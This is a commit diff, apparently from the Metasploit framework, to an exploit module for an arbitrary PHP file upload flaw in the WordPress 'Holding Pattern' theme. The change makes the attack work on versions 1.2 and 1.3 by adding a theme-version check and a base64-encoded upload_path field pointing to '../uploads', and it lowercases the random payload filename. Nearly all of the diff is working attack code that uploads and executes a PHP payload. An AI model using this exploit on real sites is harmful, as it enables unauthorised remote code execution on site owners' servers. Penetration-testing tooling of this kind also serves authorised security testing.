Fix problem causing upload to fail on versions 1.2 and 1.3 of theme

Author: rastating

modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb

@@ -43,6 +43,10 @@ def initialize(info = {})
     ))
   end
 
+  def check
+    check_theme_version_from_readme('holding_pattern')
+  end
+
   def rhost
     datastore['RHOST']
   end
@@ -60,12 +64,13 @@ def generate_mime_message(payload, payload_name)
     target_ip = IPSocket.getaddress(rhost)
     field_name = Rex::Text.md5(target_ip)
     data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
+    data.add_part('Li4vdXBsb2Fkcw==', nil, nil, 'form-data; name="upload_path"')
     data
   end
 
   def exploit
     print_status("#{peer} - Preparing payload...")
-    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
+    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
     data = generate_mime_message(payload, payload_name)
 
     print_status("#{peer} - Uploading payload...")